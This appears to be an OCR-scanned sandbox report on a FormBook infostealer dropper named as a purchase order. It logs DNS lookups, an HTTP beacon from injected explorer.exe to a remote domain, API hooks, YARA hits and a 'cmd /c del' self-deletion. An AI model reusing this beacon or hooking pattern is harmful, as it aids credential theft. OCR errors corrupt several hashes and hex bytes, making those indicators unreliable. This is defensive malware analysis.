Nov 20, 2020 10:58:40.602123976 CET 56448 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:58:40.637559891 CET 53 56448 8.8.8.8 192.168.2.4

Nov 20, 2020 10:58:42.347006083 CET 59172 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:58:42.382642984 CET 53 59172 8.8.8.8 192.168.2.4

Nov 20, 2020 10:58:45.332072973 CET 62420 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:58:45.367695093 CET 53 62420 8.8.8.8 192.168.2.4

Nov 20, 2020 10:58:45.938966990 CET 60579 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:58:45.985002995 CET 53 60579 8.8.8.8 192.168.2.4

Nov 20, 2020 10:58:46.336373091 CET 50183 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:58:46.373931885 CET 53 50183 8.8.8.8 192.168.2.4

Nov 20, 2020 10:58:46.387773991 CET 61531 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:58:46.438936949 CET 53 61531 8.8.8.8 192.168.2.4

Nov 20, 2020 10:58:53.257333994 CET 49228 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:58:53.294634104 CET 53 49228 8.8.8.8 192.168.2.4

Nov 20, 2020 10:59:16.030581951 CET 59794 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:59:16.171674967 CET 53 59794 8.8.8.8 192.168.2.4

Nov 20, 2020 10:59:23.233150959 CET 55916 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:59:23.260363102 CET 53 55916 8.8.8.8 192.168.2.4

Nov 20, 2020 10:59:24.740112066 CET 52752 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:59:24.775619030 CET 53 52752 8.8.8.8 192.168.2.4

Nov 20, 2020 10:59:36.980271101 CET 60542 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:59:37.143199921 CET 53 60542 8.8.8.8 192.168.2.4

Nov 20, 2020 10:59:57.368199110 CET 60689 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:59:57.535033941 CET 53 60689 8.8.8.8 192.168.2.4

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Nov 20, 2020 10:58:17.910629034 CET 192.168.2.4 8.8.8.8 Ox1ld6a Standard query  pilatescol A (IP address) IN (0x0001)
(0) lective.com

Nov 20, 2020 10:59:16.030581951 CET 192.168.2.4 8.8.8.8 0x8d36 Standard query  www.yourdf A (IP address) IN (0x0001)
0) wliving.com

Nov 20, 2020 10:59:36.980271101 CET 192.168.2.4 8.8.8.8 0x1d46 Standard query  www.goldkiil.com A (IP address) IN (0x0001)
(0)

Nov 20, 2020 10:59:57.368199110 CET 192.168.2.4 8.8.8.8 0x4018 Standard query  www.remote A (IP address) IN (0x0001)
(0) reg.com

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 20, 2020 8.8.8.8 192.168.2.4 Ox1d6a No error (0) pilatescol 192.185.152.65 A (IP address) IN (0x0001)

10:58:17.946242094 lective.com

CET

Nov 20, 2020 8.8.8.8 192.168.2.4 0x8d36 No error (0) www.yourdf 64.98.145.30 A (IP address) IN (0x0001)

10:59:16.171674967 wliving.com

CET

Nov 20, 2020 8.8.8.8 192.168.2.4 0x1d46 Name error (3)  www.goldki none none A (IP address) IN (0x0001)

10:59:37.143199921 ili.com

CET
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 20, 2020 8.8.8.8 192.168.2.4 0x4018 No error (0) www.remote 45.79.19.196 A (IP address) IN (0x0001)
10:59:57.535033941 reg.com

CET

Nov 20, 2020 8.8.8.8 192.168.2.4 0x4018 No error (0) www.remote 45.33.23.183 A (IP address) IN (0x0001)
10:59:57.535033941 reg.com

CET

Nov 20, 2020 8.8.8.8 192.168.2.4 0x4018 No error (0) www.remote 198.58.118.167 A (IP address) IN (0x0001)
10:59:57.535033941 reg.com

CET

Nov 20, 2020 8.8.8.8 192.168.2.4 0x4018 No error (0) www.remote 96.126.123.244 A (IP address) IN (0x0001)
10:59:57.535033941 reg.com

CET

Nov 20, 2020 8.8.8.8 192.168.2.4 0x4018 No error (0) www.remote 45.56.79.23 A (IP address) IN (0x0001)
10:59:57.535033941 reg.com

CET

Nov 20, 2020 8.8.8.8 192.168.2.4 0x4018 No error (0) www.remote 45.33.2.79 A (IP address) IN (0x0001)
10:59:57.535033941 reg.com

CET

HTTP Request Dependency Graph

e www.yourdfwliving.com

HTTP Packets

Session ID

0

Timestamp

Nov 20, 2020
10:59:16.288027048 CET

Nov 20, 2020
10:59:16.403343916 CET

Copyright null 2020

Source IP

192.168.2.4
kBytes

transferred

5777

5778

Source Port

49765

Direction

ouT

Destination IP Destination Port Process

64.98.145.30 80 C:\Windows\explorer.exe

Data

GET /ca5e/?9rmT0Zz8=33d4ALcEMIQS3ETZfm9I9n5/91vkY SjLj82bPV1gW1bkPYk/ky+gZQnl1oXWMSZEPGOWK&r
Z=Xn8pd6vp HTTP/1.1

Host: www.yourdfwliving.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Status: 200 OK

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

ETag: W/"afd398a585c4066e64ccec8c4d526b3c"

Cache-Control: max-age=0, private, must-revalidate

X-Request-1d: ff03b95¢-7114-4942-8680-826¢1f30776e

X-Runtime: 0.006637

X-Powered-By: Phusion Passenger 4.0.53

Date: Fri, 20 Nov 2020 10:10:38 GMT

Server: nginx/1.6.2 + Phusion Passenger 4.0.53

P3P: CP="IDC DSP COR ADM DEVi TAli PSA PSD IVAi IVDi CONi HIS OUR IND CNT"

Data Raw: 31 37 33 64 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 3e 0a 3c 68 65 61 64 3e Oa
3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38
272068 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74
65 6e 74 3d 27 33 43 62 61 56 76 77 2d 49 37 4d 6¢ 72 6d 6d 6d 48 7a 30 62 66 62 6b 6f 37 6f 4d 43 57 31 6d 6e 32 75 3
6357557 7357 57 42 38 27 20 6e 61 6d 65 3d 27 67 6f 6f 67 6¢ 65 2d 73 69 74 65 2d 76 65 72 69 66 69 63 61 74 69 6f 6
e 27 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69
6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 27 20 6e 61 6d 65 3d 27 76 69 65 77 70 6f 72 74 27 3e Oa 3c 6d 65 74
61 20 63 6f 6e 74 65 6e 74 3d 27 74 65 6¢ 65 70 68 6f 6€ 65 3d 6 6f 27 20 6e 61 6d 65 3d 27 66 6f 72 6d 61 74 2d 64 65
74 65 63 74 69 6f 6e 27 3e 0a 3c 74 69 74 6¢ 65 3e 79 6f 75 72 64 66 77 6¢ 69 76 69 6e 67 2e 63 6f 6d 20 69 73 20 63 6f
6d 69 6e 67 20 73 6f 6f 6e 3c 2f 74 69 74 6¢ 65 3e 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22
20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67
6¢ 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6¢ 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2¢ 34 30 30 2¢
36 30 30 2c 37 30 30 22 20 2f 3e 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 6d 65 64 69 61
3d 22 61 6¢ 6¢ 22 20 68 72 65 66 3d 22 2f 61 73 73 65 74 73 2f 61 70 70 6¢ 69 63 61 74 69 6f 6 2d 32 66 37 65 37 66 33
30 64 38 31 32 64 30 66 33 39 35 30 39 31 38 63 37 35 36 32 64 66 37 65 36 38 65 65 65 65 62 64 38 36 34 39 62 64 65
61 32 62 63 33 38 34 34 65 62 30 37 66 63 38 32 36 39 2e 63 73 73 22 20 2f 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79
3e 0a 3c 68 65 61 64 65 72 3e 0a 3¢ 61 20 72 65 6¢ 3d 22 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 68 72 65 66 3d 22 68 74 74 70 73
3a 2f 2f 77 77 77 2e 68 6f 76 65 72 2e 63 6f 6d 2f 3f 73 6f 75 72 63 65 3d 70 61 72 6b 65 64 22 3e 3¢ 69 6d 67 20 77 69 64
74 68 3d 22 31 30 32 22 20 68 65 69 67 68 74 3d 22 33 30 22 20 73 72 63 3d 22 2f 61 73 73 65 74 73 2f 68 76 5f 6¢ 6f
Data Ascii: 173d<!DOCTYPE html><html><head><meta content="text/html; charset=UTF-8'" http-equiv="Content-Type'>
<meta content="3CbaVvw-17MIrmmmHz0bfbko7oMCW1mn2u65uWsWWB8' name="google-site-verification’><meta co
ntent="width=device-width, initial-scale=1.0' name="viewport><meta content="telephone=no' name='format-detection'><tit|
e>yourdfwliving.com is coming soon</title><link rel="stylesheet" media="screen" href="https://fonts.googleapis.com/css?f
amily=Open+Sans:300,400,600,700" /><link rel="stylesheet" media="all"* href="/assets/application-2f7e7f30d812d0
f3950918c7562df7e68eeeebd8649bdea2bc3844eb07fc8269.css" /></head><body><header><a rel="nofollow" hre
f="https://lwww.hover.com/?source=parked"><img width="102" height="30" src="/assets/hv_lo
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HTTPS Packets

Source Dest Not Not JA3 SSL Client
Timestamp Source IP Port Dest IP Port  Subject Issuer Before After Fingerprint JA3 SSL Client Digest
Nov 20, 2020 192.185.152.65 443 192.168.2.4 49748 CN=www.pilatescollective.com CN=Let's Encrypt FriNov ThuFeb 771,49196-49195- 37f463bf4616ecd445d4al
10:58:18.254163027 CN-=Let's Encrypt Authority X3, Authority X3, 06 04 49200-49199- 937da06e19
CET O=Let's Encrypt, C=US O=Let's Encrypt, 01:22:43 01:22:43 49188-49187-
C=USCN=DST  CET CET 49192-49191-
Root CA X3, 2020 2021 49162-49161-
O=Digital Thu Mar Wed 49172-49171-157-
Signature Trust 17 Mar 17 156-61-60-53-47-
Co. 17:40:46 17:40:46 10,0-10-11-13-35-

CET CET 23-65281,29-23-
2016 2021 24,0

CN-=Let's Encrypt Authority X3, CN=DST Root CA Thu Mar Wed

O=Let's Encrypt, C=US X3, O=Digital 17 Mar 17
Signature Trust 17:40:46 17:40:46
Co. CET CET
2016 2021
Code Manipulations
User Modules
Hook Summary
Function Name Hook Type Active in Processes
PeekMessageA INLINE explorer.exe
PeekMessageW INLINE explorer.exe
GetMessageW INLINE explorer.exe
GetMessageA INLINE explorer.exe
Processes
Process: explorer.exe, Module: user32.dll
Function Name Hook Type New Data
PeekMessageA INLINE 0x48 0x8B 0xB8 0x87 Ox7E OxE7
PeekMessageW INLINE 0x48 0x8B 0xB8 0x8F OxFE OxE7
GetMessageW INLINE 0x48 0x8B 0xB8 0x8F OxFE OxE7
GetMessageA INLINE 0x48 0x8B 0xB8 0x87 Ox7E OxE7

Statistics

Behavior

@ Purchase Order Updates thyssenkr...
@ Purchase Order Updates thyssenkr...
@ explorer.exe

@ cmstp.exe

® cmd.exe

@ conhost.exe

@
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System Behavior

Analysis Process: Purchase Order Updates thyssenkrupp Materials Australia 900-
5400006911.exe PID: 6304 Parent PID: 5868

General

Start time: 10:57:48

Start date: 20/11/2020

Path: C:\Users\user\Desktop\Purchase Order Updates thyssenkrupp Materials Australia 900-
5400006911.exe

Wow64 process (32bit): true

Commandline: ‘C:\Users\user\Desktop\Purchase Order Updates thyssenkrupp Materials Australia 900-
5400006911.exe'

Imagebase: 0x400000

File size: 86016 bytes

MDS5 hash: 6008CD180E677BE4846D5F8ABFA6BI983

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Visual Basic

Reputation: low

File Activities

File Path Access Attributes Options Completion Count iz::ZZs Symbol
Analysis Process: Purchase Order Updates thyssenkrupp Materials Australia 900-
5400006911.exe PID: 6780 Parent PID: 6304
General
Start time: 10:58:03
Start date: 20/11/2020
Path: C:\Users\user\Desktop\Purchase Order Updates thyssenkrupp Materials Australia 900-
5400006911.exe
Wow64 process (32bit): true
Commandline: ‘C:\Users\user\Desktop\Purchase Order Updates thyssenkrupp Materials Australia 900-
5400006911.exe'
Imagebase: 0x400000
File size: 86016 bytes
MDS5 hash: 6008CD180E677BE4846D5F8ABFA6BI983

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Copyright null 2020

true
true

C, C++ or other language

.

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000002.757374606.00000000000A0000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000001.00000002.757374606.00000000000A0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000002.757374606.00000000000A0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000002.761692759.000000001E150000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000001.00000002.761692759.000000001E150000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000002.761692759.000000001E150000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group
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Reputation: low
File Activities
File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user read data or list device directory file | object name collision 1 564F17 InternetOpenUrlA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local read data or list device directory file | object name collision 1 564F17 InternetOpenUrlA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache read data or list device directory file | object name collision 1 564F17 InternetOpenUrlA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user read data or list device directory file | object name collision 1 564F17 InternetOpenUrlA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local read data or list device directory file | object name collision 1 564F17 InternetOpenUrlA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies read data or list device directory file | object name collision 1 564F17 InternetOpenUrlA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 419E37 NtReadFile
Analysis Process: explorer.exe PID: 3424 Parent PID: 6780
General
Start time: 10:58:19
Start date: 20/11/2020
Path: C:\Windows\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Path
Copyright null 2020

false

0x7ff6fee60000
3933184 bytes

AD5296B280E8F522A8A897C96BABOE1D

true

true

C, C++ or other language

high

Offset

Length

Completion

Count

Source
Address Symbol
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Analysis Process: cmstp.exe PID: 6004 Parent PID: 3424

General
Start time: 10:58:34
Start date: 20/11/2020
Path: C:\Windows\SysWOW64\cmstp.exe
Wow64 process (32bit): true
Commandline: C:\Windows\SysWOW64\cmstp.exe
Imagebase: 0x830000
File size: 82944 bytes
MDS5 hash: 4833E65ED211C7F118D4A11E6FB58A09
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000002.921168798.0000000002E40000.00000040.00000001.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000006.00000002.921168798.0000000002E40000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000002.921168798.0000000002E40000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000002.920987753.0000000002960000.00000040.00000001.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000006.00000002.920987753.0000000002960000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000002.920987753.0000000002960000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000002.921197000.0000000002E70000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000006.00000002.921197000.0000000002E70000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000002.921197000.0000000002E70000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group
e Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan
copy.pdf.ril, Source:
00000006.00000002.922109924.0000000004FFF000.00000004.00000001.sdmp, Author:
Florian Roth
e Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan
copy.pdf.ril, Source:
00000006.00000002.921254049.0000000002EBE000.00000004.00000020.sdmp, Author:
Florian Roth
Reputation: moderate
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\SysWOWwWe64\ntdll.dll 0 1622408 success or wait 1 2979E37 NtReadFile
Analysis Process: cmd.exe PID: 2108 Parent PID: 6004
General
Start time: 10:58:39
Start date: 20/11/2020
Path: C:\Windows\SysWOW64\cmd.exe
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Wow64 process (32bit):

Commandline:

Imagebase:
File size:
MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

true

/c del 'C:\Users\user\Desktop\Purchase Order Updates thyssenkrupp Materials Australia 90

0-5400006911.exe’

0x11d0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\Desktop\Purchase Order Updates thyssenkrupp Materials Australia 900-5400006911.exe cannot delete 1 11F0374 DeleteFileW
C:\Users\user\Desktop\Purchase Order Updates thyssenkrupp Materials Australia 900-5400006911.exe cannot delete 1 11F0374 DeleteFileW
Analysis Process: conhost.exe PID: 2860 Parent PID: 2108
General
Start time: 10:58:39
Start date: 20/11/2020
Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Reputation:

Disassembly

Code Analysis

Copyright null 2020

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff724c50000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high
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